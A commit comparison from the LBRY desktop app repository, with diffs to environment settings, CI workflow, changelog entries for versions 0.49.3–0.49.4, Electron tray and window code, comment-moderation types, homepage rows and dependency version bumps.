Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
60ec0468e6 |
No files matched your search
@@ -9,6 +9,7 @@ WEB_SERVER_PORT=1337
|
||||
LBRY_WEB_API=https://api.lbry.tv
|
||||
LBRY_WEB_STREAMING_API=https://cdn.lbryplayer.xyz
|
||||
LBRY_WEB_BUFFER_API=https://collector-service.api.lbry.tv/api/v1/events/video
|
||||
COMMENT_SERVER_API=https://comments.lbry.com/api/v2
|
||||
WELCOME_VERSION=1.0
|
||||
|
||||
# Custom Site info
|
||||
@@ -20,6 +21,7 @@ THUMBNAIL_CDN_URL=https://image-optimizer.vanwanet.com/?address=
|
||||
SITE_TITLE=lbry.tv
|
||||
SITE_NAME=lbry.tv
|
||||
SITE_DESCRIPTION=Meet LBRY, an open, free, and community-controlled content wonderland.
|
||||
SITE_HELP_EMAIL=help@lbry.com
|
||||
LOGO_TITLE=lbry.tv
|
||||
SIMPLE_SITE=false
|
||||
SHOW_ADS=true
|
||||
@@ -28,6 +30,7 @@ YRBL_SAD_IMG_URL=https://cdn.lbryplayer.xyz/api/v3/streams/free/yrbl-sad/c2d9649
|
||||
ENABLE_COMMENT_REACTIONS=true
|
||||
ENABLE_FILE_REACTIONS=false
|
||||
ENABLE_CREATOR_REACTIONS=false
|
||||
CHANNEL_STAKED_LEVEL_VIDEO_COMMENTS=4
|
||||
|
||||
# OG
|
||||
OG_TITLE_SUFFIX=| lbry.tv
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
node_modules/*
|
||||
./node_modules/**
|
||||
**/node_modules/**
|
||||
web/dist/**
|
||||
@@ -33,6 +33,7 @@ module.name_mapper='^analytics\(.*\)$' -> '<PROJECT_ROOT>/ui/analytics\1'
|
||||
module.name_mapper='^rewards\(.*\)$' -> '<PROJECT_ROOT>/ui/rewards\1'
|
||||
module.name_mapper='^i18n\(.*\)$' -> '<PROJECT_ROOT>/ui/i18n\1'
|
||||
module.name_mapper='^effects\(.*\)$' -> '<PROJECT_ROOT>/ui/effects\1'
|
||||
module.name_mapper='^comments\(.*\)$' -> '<PROJECT_ROOT>/ui/comments\1'
|
||||
module.name_mapper='^config\(.*\)$' -> '<PROJECT_ROOT>/config\1'
|
||||
module.name_mapper='^web\/component\(.*\)$' -> '<PROJECT_ROOT>/web/component\1'
|
||||
module.name_mapper='^web\/effects\(.*\)$' -> '<PROJECT_ROOT>/web/effects\1'
|
||||
|
||||
@@ -20,7 +20,7 @@ jobs:
|
||||
name: 'build'
|
||||
strategy:
|
||||
matrix:
|
||||
node-version: [12.x]
|
||||
node-version: [14.x]
|
||||
os:
|
||||
- ubuntu-latest
|
||||
- macos-latest
|
||||
@@ -65,6 +65,7 @@ jobs:
|
||||
WELCOME_VERSION: 1.0
|
||||
DOMAIN: lbry.tv
|
||||
URL: https://lbry.tv
|
||||
SHARE_DOMAIN_URL: https://open.lbry.com
|
||||
SITE_TITLE: lbry.tv
|
||||
SITE_NAME: lbry.tv
|
||||
SHOW_ADS: false
|
||||
@@ -73,21 +74,25 @@ jobs:
|
||||
ENABLE_COMMENT_REACTIONS: true
|
||||
DEFAULT_LANGUAGE: en
|
||||
KNOWN_APP_DOMAINS: lbry.tv,lbry.lat,odysee.com
|
||||
CHANNEL_STAKED_LEVEL_VIDEO_COMMENTS: 0
|
||||
|
||||
- uses: actions/upload-artifact@v2
|
||||
if: startsWith(runner.os, 'linux')
|
||||
if: |
|
||||
startsWith(runner.os, 'linux')
|
||||
with:
|
||||
name: Linux
|
||||
path: ./dist/electron/*.*
|
||||
|
||||
- uses: actions/upload-artifact@v2
|
||||
if: startsWith(runner.os, 'mac')
|
||||
if: |
|
||||
startsWith(runner.os, 'mac')
|
||||
with:
|
||||
name: macOS
|
||||
path: ./dist/electron/*.*
|
||||
|
||||
- uses: actions/upload-artifact@v2
|
||||
if: startsWith(runner.os, 'windows')
|
||||
if: |
|
||||
github.event.pull_request.head.repo.full_name == github.repository
|
||||
with:
|
||||
name: Windows
|
||||
path: ./dist/electron/*.*
|
||||
+58
-2
@@ -8,13 +8,69 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
|
||||
|
||||
### Added
|
||||
|
||||
- Turn timestamps in a video's description and comments into links _community pr!_ ([#5156](https://github.com/lbryio/lbry-desktop/pull/5156))
|
||||
- Mobile video player enhancements and the ability to tap on the left and right edges to seek _community pr!_ ([#5119](https://github.com/lbryio/lbry-desktop/pull/5119))
|
||||
- Wallet balance UI improvements ([#5276](https://github.com/lbryio/lbry-desktop/pull/5387))
|
||||
- Mass tip unlock ([#5409](https://github.com/lbryio/lbry-desktop/pull/5387))
|
||||
- Zoomable image viewer in Markdown (posts and comments) _community pr!_ ([#5387](https://github.com/lbryio/lbry-desktop/pull/5387))
|
||||
- Enable PDF Viewer in App _community pr!_ ([#2903](https://github.com/lbryio/lbry-desktop/issues/2903))
|
||||
- The search bar now handles both lbry.tv and Odysee links regardless of which site the user is in ([#5604](https://github.com/lbryio/lbry-desktop/issues/5604))
|
||||
- The video/audio player's control tooltip is now localized and includes hints for keyboard shortcuts ([#5584](https://github.com/lbryio/lbry-desktop/issues/5584))
|
||||
- Finnish and Norwegian language support ([#5532](https://github.com/lbryio/lbry-desktop/issues/5532))
|
||||
|
||||
### Changed
|
||||
|
||||
- Re-enable PDF Viewer in desktop app _community pr!_ ([#5420](https://github.com/lbryio/lbry-desktop/issues/5420))
|
||||
|
||||
### Fixed
|
||||
|
||||
- Player doesn't stop playing when editing a comment that includes a video url _community pr!_ ([#5384](https://github.com/lbryio/lbry-desktop/pull/5384))
|
||||
- Main video/audio playback stopped every time a comment is edited or deleted ([#5606](https://github.com/lbryio/lbry-desktop/pull/5606))
|
||||
- Winning search result not working correctly with mature content enabled _community pr!_ ([#5388](https://github.com/lbryio/lbry-desktop/pull/5388))
|
||||
- Home/End key not working as expected in Search Bar ([#5642](https://github.com/lbryio/lbry-desktop/pull/5642))
|
||||
- Fixes to inline videos in comments _community pr!_ ([#5389](https://github.com/lbryio/lbry-desktop/pull/5389))
|
||||
- Search page crashing on some results ([#5428](https://github.com/lbryio/lbry-desktop/pull/5428))
|
||||
- Long channel names caused comments to extend underneath related content _community pr!_ ([#5431](https://github.com/lbryio/lbry-desktop/pull/5431))
|
||||
- Keep floating player always visible _community pr!_ ([#5448](https://github.com/lbryio/lbry-desktop/pull/5448))
|
||||
- LBRY Desktop incorrectly setting itself as the default HTML-file application in Linux ([#5617](https://github.com/lbryio/lbry-desktop/pull/5617))
|
||||
- All notifications being cleared when only 1 is clicked ([#5619](https://github.com/lbryio/lbry-desktop/pull/5619))
|
||||
- Markdown editor's "Create Link (Ctrl-K)" action now directly highlights the URL stub when the label is present ([#5585](https://github.com/lbryio/lbry-desktop/issues/5585))
|
||||
|
||||
## [0.49.4] - [2021-01-26]
|
||||
|
||||
### Added
|
||||
|
||||
- Theater mode ([#5255](https://github.com/lbryio/lbry-desktop/pull/5255))
|
||||
- Repost flow improvements ([#5293](https://github.com/lbryio/lbry-desktop/pull/5293))
|
||||
- Desktop: Enable 'Alt+Left/Right' for history navigation _community pr!_ ([#5203](https://github.com/lbryio/lbry-desktop/pull/5203))
|
||||
- Make playback rate setting persistent _community pr!_ ([#5310](https://github.com/lbryio/lbry-desktop/pull/5310))
|
||||
- Make UI zoom setting persistent _community pr!_ ([#5385](https://github.com/lbryio/lbry-desktop/pull/5385))
|
||||
|
||||
### Changed
|
||||
|
||||
- No longer supporting 32 bit windows
|
||||
- Updated lbry-sdk to [0.88.0](https://github.com/lbryio/lbry-sdk/releases/tag/v0.88.0)
|
||||
- Improve how spendable balance is displayed ([#5409](https://github.com/lbryio/lbry-desktop/pull/5276))
|
||||
|
||||
### Fixed
|
||||
|
||||
- Lots of bug fixes
|
||||
- Fix bug where subscriptions could be lost ([#5302](https://github.com/lbryio/lbry-desktop/pull/5302))
|
||||
|
||||
## [0.49.3] - [2020-12-30]
|
||||
|
||||
### Added
|
||||
|
||||
- Turn timestamps in a video's description and comments into links _community pr!_ ([#5156](https://github.com/lbryio/lbry-desktop/pull/5156))
|
||||
- Mobile video player enhancements and the ability to tap on the left and right edges to seek _community pr!_ ([#5119](https://github.com/lbryio/lbry-desktop/pull/5119))
|
||||
- Added tile layout for tags page [a0ec5](https://github.com/lbryio/lbry-desktop/commit/a0ec5097d93496b92736e1682f9fb2d20dadf425).
|
||||
|
||||
### Changed
|
||||
|
||||
- Repost option now has a full page and can be triggered from search results (click "View competing uploads for ...").
|
||||
|
||||
### Fixed
|
||||
|
||||
- [Upgrade SDK to 0.87.0](https://github.com/lbryio/lbry-sdk/releases/tag/v0.87.0). Forces wallet resync which fixes balance issues for some users and improves memory usage.
|
||||
|
||||
## [0.49.1] - [2020-12-15]
|
||||
|
||||
### Fixed
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2017-2020 LBRY Inc.
|
||||
Copyright (c) 2017-2021 LBRY Inc.
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -104,7 +104,7 @@ You can run the web version (lbry.tv), the electron app, or both at the same tim
|
||||
|
||||
#### Customize the web app
|
||||
|
||||
- In root directory, copy .env.defaults to .env and make changes
|
||||
- In root directory, duplicate the .env.default file and rename it to .env then copy the code below and paste it anywhere in the .env file.
|
||||
|
||||
```
|
||||
cp .env.defaults .env
|
||||
|
||||
@@ -12,6 +12,7 @@ const config = {
|
||||
LBRY_API_URL: process.env.LBRY_API_URL, //api.lbry.com',
|
||||
LBRY_WEB_STREAMING_API: process.env.LBRY_WEB_STREAMING_API, //cdn.lbryplayer.xyz',
|
||||
LBRY_WEB_BUFFER_API: process.env.LBRY_WEB_BUFFER_API,
|
||||
COMMENT_SERVER_API: process.env.COMMENT_SERVER_API,
|
||||
WELCOME_VERSION: process.env.WELCOME_VERSION,
|
||||
DOMAIN: process.env.DOMAIN,
|
||||
SHARE_DOMAIN_URL: process.env.SHARE_DOMAIN_URL,
|
||||
@@ -20,6 +21,7 @@ const config = {
|
||||
SITE_TITLE: process.env.SITE_TITLE,
|
||||
SITE_NAME: process.env.SITE_NAME,
|
||||
SITE_DESCRIPTION: process.env.SITE_DESCRIPTION,
|
||||
SITE_HELP_EMAIL: process.env.SITE_HELP_EMAIL,
|
||||
LOGO_TITLE: process.env.LOGO_TITLE,
|
||||
OG_TITLE_SUFFIX: process.env.OG_TITLE_SUFFIX,
|
||||
OG_HOMEPAGE_TITLE: process.env.OG_HOMEPAGE_TITLE,
|
||||
@@ -33,13 +35,14 @@ const config = {
|
||||
ENABLE_COMMENT_REACTIONS: process.env.ENABLE_COMMENT_REACTIONS === 'true',
|
||||
ENABLE_FILE_REACTIONS: process.env.ENABLE_FILE_REACTIONS === 'true',
|
||||
ENABLE_CREATOR_REACTIONS: process.env.ENABLE_CREATOR_REACTIONS === 'true',
|
||||
CHANNEL_STAKED_LEVEL_VIDEO_COMMENTS: process.env.CHANNEL_STAKED_LEVEL_VIDEO_COMMENTS,
|
||||
SIMPLE_SITE: process.env.SIMPLE_SITE === 'true',
|
||||
SHOW_ADS: process.env.SHOW_ADS === 'true',
|
||||
PINNED_URI_1: process.env.PINNED_URI_1,
|
||||
PINNED_LABEL_1: process.env.PINNED_LABEL_1,
|
||||
PINNED_URI_2: process.env.PINNED_URI_2,
|
||||
PINNED_LABEL_2: process.env.PINNED_LABEL_2,
|
||||
KNOWN_APP_DOMAINS: process.env.KNOWN_APP_DOMAINS,
|
||||
KNOWN_APP_DOMAINS: process.env.KNOWN_APP_DOMAINS ? process.env.KNOWN_APP_DOMAINS.split(',') : [],
|
||||
};
|
||||
|
||||
config.URL_LOCAL = `http://localhost:${config.WEB_SERVER_PORT}`;
|
||||
|
||||
@@ -93,7 +93,7 @@
|
||||
"target": [
|
||||
{
|
||||
"target": "nsis",
|
||||
"arch": ["x64", "ia32"]
|
||||
"arch": ["x64"]
|
||||
}
|
||||
]
|
||||
},
|
||||
|
||||
+28
-5
@@ -6,6 +6,26 @@ let tray;
|
||||
export default window => {
|
||||
let iconPath;
|
||||
|
||||
/*
|
||||
* A maximized window can't be properly
|
||||
* restored when minimized to the taskbar
|
||||
* (it will be restored/showed as unmaximized).
|
||||
*
|
||||
* window.isMaximized() will also return
|
||||
* false when minimizing a maximized window.
|
||||
*
|
||||
* The safest way to keep track of the
|
||||
* maximized state using maximize and
|
||||
* unmaximize events.
|
||||
*/
|
||||
let isWindowMaximized = false;
|
||||
window.on('maximize', () => {
|
||||
isWindowMaximized = true;
|
||||
});
|
||||
window.on('unmaximize', () => {
|
||||
isWindowMaximized = false;
|
||||
});
|
||||
|
||||
switch (process.platform) {
|
||||
case 'darwin': {
|
||||
iconPath = 'static/img/tray/mac/trayTemplate.png';
|
||||
@@ -22,18 +42,21 @@ export default window => {
|
||||
|
||||
tray = new Tray(process.env.NODE_ENV === 'development' ? iconPath : path.join(process.resourcesPath, iconPath));
|
||||
|
||||
tray.on('double-click', () => {
|
||||
const restoreFromTray = () => {
|
||||
if (isWindowMaximized) {
|
||||
window.maximize();
|
||||
}
|
||||
window.show();
|
||||
});
|
||||
};
|
||||
|
||||
tray.on('double-click', restoreFromTray);
|
||||
|
||||
tray.setToolTip('LBRY App');
|
||||
|
||||
const template = [
|
||||
{
|
||||
label: `Open ${app.name}`,
|
||||
click: () => {
|
||||
window.show();
|
||||
},
|
||||
click: restoreFromTray,
|
||||
},
|
||||
{ role: 'quit' },
|
||||
];
|
||||
|
||||
@@ -4,21 +4,23 @@ import isDev from 'electron-is-dev';
|
||||
import windowStateKeeper from 'electron-window-state';
|
||||
import SUPPORTED_LANGUAGES from 'constants/supported_languages';
|
||||
import { SUPPORTED_SUB_LANGUAGE_CODES, SUB_LANG_CODE_LEN } from 'constants/supported_sub_languages';
|
||||
import SUPPORTED_BROWSER_LANGUAGES from 'constants/supported_browser_languages';
|
||||
import { TO_TRAY_WHEN_CLOSED } from 'constants/settings';
|
||||
|
||||
import setupBarMenu from './menu/setupBarMenu';
|
||||
import * as PAGES from 'constants/pages';
|
||||
|
||||
function GetAppLangCode() {
|
||||
// https://www.electronjs.org/docs/api/locales
|
||||
// 1. Gets the user locale.
|
||||
// 2. Converts unsupported sub-languages to its primary (e.g. "en-GB" -> "en").
|
||||
// Note that the primary itself may or may not be a supported language
|
||||
// (up to clients to verify against SUPPORTED_LANGUAGES).
|
||||
const langCode = app.getLocale();
|
||||
if (langCode.length === SUB_LANG_CODE_LEN && !SUPPORTED_SUB_LANGUAGE_CODES.includes(langCode)) {
|
||||
return langCode.slice(0, 2);
|
||||
return SUPPORTED_BROWSER_LANGUAGES[langCode.slice(0, 2)];
|
||||
}
|
||||
return langCode;
|
||||
return SUPPORTED_BROWSER_LANGUAGES[langCode];
|
||||
}
|
||||
|
||||
export default appState => {
|
||||
@@ -178,10 +180,6 @@ export default appState => {
|
||||
window.webContents.send('language-set', language);
|
||||
}
|
||||
});
|
||||
|
||||
if (isDev) {
|
||||
window.webContents.openDevTools();
|
||||
}
|
||||
});
|
||||
|
||||
window.webContents.on('crashed', () => {
|
||||
|
||||
+6
-4
@@ -4,9 +4,9 @@
|
||||
import '@babel/polyfill';
|
||||
import SemVer from 'semver';
|
||||
import https from 'https';
|
||||
import { app, dialog, ipcMain, session, shell, ipcRenderer } from 'electron';
|
||||
import { app, dialog, ipcMain, session, shell } from 'electron';
|
||||
import { autoUpdater } from 'electron-updater';
|
||||
import { Lbry, LbryFirst } from 'lbry-redux';
|
||||
import { Lbry } from 'lbry-redux';
|
||||
import LbryFirstInstance from './LbryFirstInstance';
|
||||
import Daemon from './Daemon';
|
||||
import isDev from 'electron-is-dev';
|
||||
@@ -46,7 +46,10 @@ let lbryFirst;
|
||||
|
||||
const appState = {};
|
||||
|
||||
app.setAsDefaultProtocolClient('lbry');
|
||||
if (process.platform !== 'linux') {
|
||||
app.setAsDefaultProtocolClient('lbry');
|
||||
}
|
||||
|
||||
app.name = 'LBRY';
|
||||
app.setAppUserModelId('io.lbry.LBRY');
|
||||
app.commandLine.appendSwitch('force-color-profile', 'srgb');
|
||||
@@ -177,7 +180,6 @@ if (!gotSingleInstanceLock) {
|
||||
if (isDev) {
|
||||
await installDevtools();
|
||||
}
|
||||
|
||||
rendererWindow = createWindow(appState);
|
||||
tray = createTray(rendererWindow);
|
||||
|
||||
|
||||
Vendored
+4
@@ -27,6 +27,10 @@ declare type CommentsState = {
|
||||
myReactsByCommentId: any,
|
||||
othersReactsByCommentId: any,
|
||||
pendingCommentReactions: Array<string>,
|
||||
moderationBlockList: ?Array<string>,
|
||||
fetchingModerationBlockList: boolean,
|
||||
blockingByUri: {},
|
||||
unBlockingByUri: {},
|
||||
};
|
||||
|
||||
declare type CommentReactParams = {
|
||||
|
||||
Vendored
+16
@@ -0,0 +1,16 @@
|
||||
// @flow
|
||||
declare type CommentListParams = {
|
||||
page: number,
|
||||
page_size: number,
|
||||
claim_id: string,
|
||||
};
|
||||
|
||||
declare type CommentAbandonParams = {
|
||||
comment_id: string,
|
||||
creator_channel_id?: string,
|
||||
creator_channel_name?: string,
|
||||
channel_id?: string,
|
||||
hexdata?: string,
|
||||
};
|
||||
|
||||
declare type ModerationBlockParams = {};
|
||||
+20
-41
@@ -127,12 +127,7 @@ export default function GetHomePageRowData(
|
||||
pageSize: getPageSize(12),
|
||||
channelIds: YOUTUBER_CHANNEL_IDS,
|
||||
limitClaimsPerChannel: 1,
|
||||
releaseTime: `>${Math.floor(
|
||||
moment()
|
||||
.subtract(1, 'months')
|
||||
.startOf('week')
|
||||
.unix()
|
||||
)}`,
|
||||
releaseTime: `>${Math.floor(moment().subtract(1, 'months').startOf('week').unix())}`,
|
||||
},
|
||||
};
|
||||
|
||||
@@ -159,18 +154,8 @@ export default function GetHomePageRowData(
|
||||
orderBy: ['release_time'],
|
||||
releaseTime:
|
||||
subscribedChannels.length > 20
|
||||
? `>${Math.floor(
|
||||
moment()
|
||||
.subtract(6, 'months')
|
||||
.startOf('week')
|
||||
.unix()
|
||||
)}`
|
||||
: `>${Math.floor(
|
||||
moment()
|
||||
.subtract(1, 'year')
|
||||
.startOf('week')
|
||||
.unix()
|
||||
)}`,
|
||||
? `>${Math.floor(moment().subtract(6, 'months').startOf('week').unix())}`
|
||||
: `>${Math.floor(moment().subtract(1, 'year').startOf('week').unix())}`,
|
||||
pageSize: getPageSize(subscribedChannels.length > 3 ? (subscribedChannels.length > 6 ? 16 : 8) : 4),
|
||||
channelIds: subscribedChannels.map((subscription: Subscription) => {
|
||||
const { channelClaimId } = parseURI(subscription.uri);
|
||||
@@ -187,12 +172,7 @@ export default function GetHomePageRowData(
|
||||
orderBy: ['effective_amount'],
|
||||
claimType: ['stream'],
|
||||
limitClaimsPerChannel: 2,
|
||||
releaseTime: `>${Math.floor(
|
||||
moment()
|
||||
.subtract(1, 'day')
|
||||
.startOf('day')
|
||||
.unix()
|
||||
)}`,
|
||||
releaseTime: `>${Math.floor(moment().subtract(1, 'day').startOf('day').unix())}`,
|
||||
},
|
||||
};
|
||||
|
||||
@@ -205,21 +185,21 @@ export default function GetHomePageRowData(
|
||||
},
|
||||
};
|
||||
|
||||
const TRENDING_CLASSICS = {
|
||||
title: __('Trending Classics'),
|
||||
link: `/$/${PAGES.DISCOVER}?${CS.ORDER_BY_KEY}=${CS.ORDER_BY_TRENDING}&${CS.FRESH_KEY}=${CS.FRESH_WEEK}`,
|
||||
options: {
|
||||
pageSize: getPageSize(4),
|
||||
claimType: ['stream'],
|
||||
limitClaimsPerChannel: 1,
|
||||
releaseTime: `<${Math.floor(
|
||||
moment()
|
||||
.subtract(6, 'month')
|
||||
.startOf('day')
|
||||
.unix()
|
||||
)}`,
|
||||
},
|
||||
};
|
||||
// const TRENDING_CLASSICS = {
|
||||
// title: __('Trending Classics'),
|
||||
// link: `/$/${PAGES.DISCOVER}?${CS.ORDER_BY_KEY}=${CS.ORDER_BY_TRENDING}&${CS.FRESH_KEY}=${CS.FRESH_WEEK}`,
|
||||
// options: {
|
||||
// pageSize: getPageSize(4),
|
||||
// claimType: ['stream'],
|
||||
// limitClaimsPerChannel: 1,
|
||||
// releaseTime: `<${Math.floor(
|
||||
// moment()
|
||||
// .subtract(6, 'month')
|
||||
// .startOf('day')
|
||||
// .unix()
|
||||
// )}`,
|
||||
// },
|
||||
// };
|
||||
|
||||
// const TRENDING_ON_LBRY = {
|
||||
// title: __('Trending On LBRY'),
|
||||
@@ -236,7 +216,7 @@ export default function GetHomePageRowData(
|
||||
|
||||
options: {
|
||||
pageSize: getPageSize(4),
|
||||
tags: followedTags.map(tag => tag.name),
|
||||
tags: followedTags.map((tag) => tag.name),
|
||||
claimType: ['stream'],
|
||||
limitClaimsPerChannel: 2,
|
||||
},
|
||||
@@ -274,7 +254,6 @@ export default function GetHomePageRowData(
|
||||
rowData.push(YOUTUBE_CREATOR_ROW);
|
||||
}
|
||||
|
||||
rowData.push(TRENDING_CLASSICS);
|
||||
rowData.push(TOP_CONTENT_TODAY);
|
||||
|
||||
// rowData.push(TRENDING_ON_LBRY);
|
||||
|
||||
@@ -2,3 +2,4 @@ import * as lbrytv from './homepage';
|
||||
// import all homepages
|
||||
// export object of homepages
|
||||
export default {'en': lbrytv};
|
||||
export const NO_ADS_CHANNEL_IDS = [];
|
||||
+35
-30
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "lbry",
|
||||
"version": "0.49.3",
|
||||
"version": "0.49.4",
|
||||
"description": "A browser for the LBRY network, a digital marketplace controlled by its users.",
|
||||
"keywords": [
|
||||
"lbry"
|
||||
@@ -36,7 +36,7 @@
|
||||
"build": "cross-env NODE_ENV=production yarn compile:electron && electron-builder build",
|
||||
"build:dir": "yarn build -- --dir -c.compression=store -c.mac.identity=null",
|
||||
"crossenv": "./node_modules/cross-env/dist/bin/cross-env",
|
||||
"lint": "eslint ui/**/*.{js,jsx} && eslint web/**/*.{js,jsx} && eslint electron/**/*.js && flow",
|
||||
"lint": "eslint 'ui/**/*.{js,jsx}' && eslint 'web/**/*.{js,jsx}' && eslint 'electron/**/*.js' && flow",
|
||||
"format": "prettier 'src/**/*.{js,jsx,scss,json}' --write",
|
||||
"flow-defs": "flow-typed install",
|
||||
"precommit": "lint-staged",
|
||||
@@ -49,13 +49,13 @@
|
||||
"auto-launch": "^5.0.5",
|
||||
"electron-dl": "^1.11.0",
|
||||
"electron-log": "^2.2.12",
|
||||
"electron-notarize": "^0.1.1",
|
||||
"electron-notarize": "^1.0.0",
|
||||
"electron-updater": "^4.2.4",
|
||||
"express": "^4.17.1",
|
||||
"if-env": "^1.0.4",
|
||||
"remark-breaks": "^1.0.5",
|
||||
"remove-markdown": "^0.3.0",
|
||||
"tempy": "^0.6.0",
|
||||
"videojs-logo": "^2.0.0"
|
||||
"videojs-logo": "^2.1.4"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@babel/core": "^7.0.0",
|
||||
@@ -66,37 +66,38 @@
|
||||
"@babel/plugin-transform-flow-strip-types": "^7.2.3",
|
||||
"@babel/plugin-transform-runtime": "^7.4.3",
|
||||
"@babel/polyfill": "^7.2.5",
|
||||
"@babel/preset-env": "^7.7.1",
|
||||
"@babel/preset-flow": "^7.0.0",
|
||||
"@babel/preset-env": "^7.12.11",
|
||||
"@babel/preset-flow": "^7.12.1",
|
||||
"@babel/preset-react": "^7.0.0",
|
||||
"@babel/register": "^7.0.0",
|
||||
"@datapunt/matomo-tracker-js": "^0.1.4",
|
||||
"@exponent/electron-cookies": "^2.0.0",
|
||||
"@hot-loader/react-dom": "^16.8",
|
||||
"@reach/auto-id": "^0.12.1",
|
||||
"@hot-loader/react-dom": "^16.13",
|
||||
"@reach/auto-id": "^0.13.0",
|
||||
"@reach/combobox": "^0.12.1",
|
||||
"@reach/menu-button": "0.7.4",
|
||||
"@reach/rect": "^0.2.1",
|
||||
"@reach/rect": "^0.13.0",
|
||||
"@reach/tabs": "^0.1.5",
|
||||
"@reach/tooltip": "^0.12.1",
|
||||
"@reach/utils": "^0.12.1",
|
||||
"@sentry/browser": "^5.12.1",
|
||||
"@sentry/webpack-plugin": "^1.10.0",
|
||||
"@types/three": "^0.93.1",
|
||||
"@types/three": "^0.103.2",
|
||||
"adm-zip": "^0.4.13",
|
||||
"async-exit-hook": "^2.0.1",
|
||||
"babel-eslint": "^10.0.1",
|
||||
"babel-loader": "^8.0.5",
|
||||
"babel-plugin-add-module-exports": "^1.0.0",
|
||||
"babel-plugin-add-module-exports": "^1.0.4",
|
||||
"babel-plugin-import-glob": "^2.0.0",
|
||||
"babel-plugin-transform-imports": "^1.5.1",
|
||||
"babel-plugin-transform-object-rest-spread": "^6.26.0",
|
||||
"bluebird": "^3.5.1",
|
||||
"chalk": "^2.4.2",
|
||||
"chalk": "^4.1.0",
|
||||
"classnames": "^2.2.5",
|
||||
"codemirror": "^5.39.2",
|
||||
"concurrently": "^4.1.2",
|
||||
"connected-react-router": "^6.4.0",
|
||||
"copy-webpack-plugin": "^4.6.0",
|
||||
"connected-react-router": "^6.8.0",
|
||||
"copy-webpack-plugin": "^5.1.2",
|
||||
"country-data": "^0.0.31",
|
||||
"cross-env": "^7.0.3",
|
||||
"crypto-js": "^4.0.0",
|
||||
@@ -108,14 +109,15 @@
|
||||
"del": "^3.0.0",
|
||||
"devtron": "^1.4.0",
|
||||
"dom-scroll-into-view": "^1.2.1",
|
||||
"dotenv-defaults": "^1.1.1",
|
||||
"dotenv-defaults": "^2.0.1",
|
||||
"dotenv-webpack": "^1.8.0",
|
||||
"electron": "9.3.1",
|
||||
"electron": "9.4.0",
|
||||
"electron-builder": "^22.9.1",
|
||||
"electron-devtools-installer": "^2.2.4",
|
||||
"electron-devtools-installer": "^3.1.1",
|
||||
"electron-is-dev": "^0.3.0",
|
||||
"electron-webpack": "^2.8.2",
|
||||
"electron-window-state": "^4.1.1",
|
||||
"emoji-dictionary": "^1.0.11",
|
||||
"eslint": "^5.15.2",
|
||||
"eslint-config-prettier": "^2.9.0",
|
||||
"eslint-config-standard": "^12.0.0",
|
||||
@@ -134,18 +136,18 @@
|
||||
"flow-bin": "^0.97.0",
|
||||
"flow-typed": "^2.3.0",
|
||||
"formik": "^0.10.4",
|
||||
"hast-util-sanitize": "^1.1.2",
|
||||
"hast-util-sanitize": "^3.0.2",
|
||||
"history": "^4.9.0",
|
||||
"husky": "^3.1.0",
|
||||
"imagesloaded": "^4.1.4",
|
||||
"json-loader": "^0.5.4",
|
||||
"lbry-format": "https://github.com/lbryio/lbry-format.git",
|
||||
"lbry-redux": "lbryio/lbry-redux#ce9f720bbd978d7574ab072771aa85ff5a83e2fc",
|
||||
"lbryinc": "lbryio/lbryinc#eee2cb730ecec95a1344a755035755b0d4dad5cf",
|
||||
"lbry-redux": "lbryio/lbry-redux#bf728f8716385749370de9a1edee50b267d61fa4",
|
||||
"lbryinc": "lbryio/lbryinc#7faea40d87b78ec91b901c62f501499dc4737025",
|
||||
"lint-staged": "^7.0.2",
|
||||
"localforage": "^1.7.1",
|
||||
"lodash-es": "^4.17.14",
|
||||
"mammoth": "^1.4.6",
|
||||
"mammoth": "^1.4.16",
|
||||
"moment": "^2.22.0",
|
||||
"node-abi": "^2.5.1",
|
||||
"node-fetch": "^2.6.1",
|
||||
@@ -156,12 +158,13 @@
|
||||
"postcss-loader": "^3.0.0",
|
||||
"postcss-rtl": "^1.7.3",
|
||||
"preprocess-loader": "^0.3.0",
|
||||
"prettier": "^1.11.1",
|
||||
"prettier": "^2.2.1",
|
||||
"prop-types": "^15.6.2",
|
||||
"qrcode.react": "^0.8.0",
|
||||
"raw-loader": "^2.0.0",
|
||||
"rc-progress": "^2.0.6",
|
||||
"react": "^16.8.2",
|
||||
"react-awesome-lightbox": "^1.7.3",
|
||||
"react-confetti": "^4.0.1",
|
||||
"react-dom": "^16.8.2",
|
||||
"react-draggable": "^3.3.0",
|
||||
@@ -172,7 +175,7 @@
|
||||
"react-redux": "^6.0.1",
|
||||
"react-router": "^5.1.0",
|
||||
"react-router-dom": "^5.1.0",
|
||||
"react-simplemde-editor": "^4.0.0",
|
||||
"react-simplemde-editor": "^4.1.3",
|
||||
"react-spring": "^8.0.20",
|
||||
"reakit": "^1.0.0-beta.13",
|
||||
"redux": "^3.6.0",
|
||||
@@ -182,10 +185,11 @@
|
||||
"redux-thunk": "^2.2.0",
|
||||
"remark": "^9.0.0",
|
||||
"remark-attr": "^0.8.3",
|
||||
"remark-breaks": "^1.0.5",
|
||||
"remark-emoji": "^2.0.1",
|
||||
"remark-frontmatter": "^2.0.0",
|
||||
"remark-react": "^4.0.3",
|
||||
"reselect": "^3.0.0",
|
||||
"remark-react": "^8.0.0",
|
||||
"reselect": "^4.0.0",
|
||||
"sass": "^1.29.0",
|
||||
"sass-loader": "^7.1.0",
|
||||
"semver": "^5.3.0",
|
||||
@@ -193,13 +197,14 @@
|
||||
"strip-markdown": "^3.0.3",
|
||||
"style-loader": "^0.23.1",
|
||||
"terser-webpack-plugin": "^1.2.3",
|
||||
"three": "^0.93.0",
|
||||
"three": "^0.125.0",
|
||||
"three-full": "^17.1.0",
|
||||
"tiny-relative-date": "^1.3.0",
|
||||
"tree-kill": "^1.1.0",
|
||||
"unist-util-visit": "^1.4.1",
|
||||
"uuid": "^8.3.0",
|
||||
"unist-util-visit": "^2.0.3",
|
||||
"uuid": "^8.3.2",
|
||||
"video.js": "^7.10.1",
|
||||
"videojs-contrib-quality-levels": "^2.0.9",
|
||||
"videojs-event-tracking": "^1.0.1",
|
||||
"villain-react": "^1.0.9",
|
||||
"wavesurfer.js": "^2.2.1",
|
||||
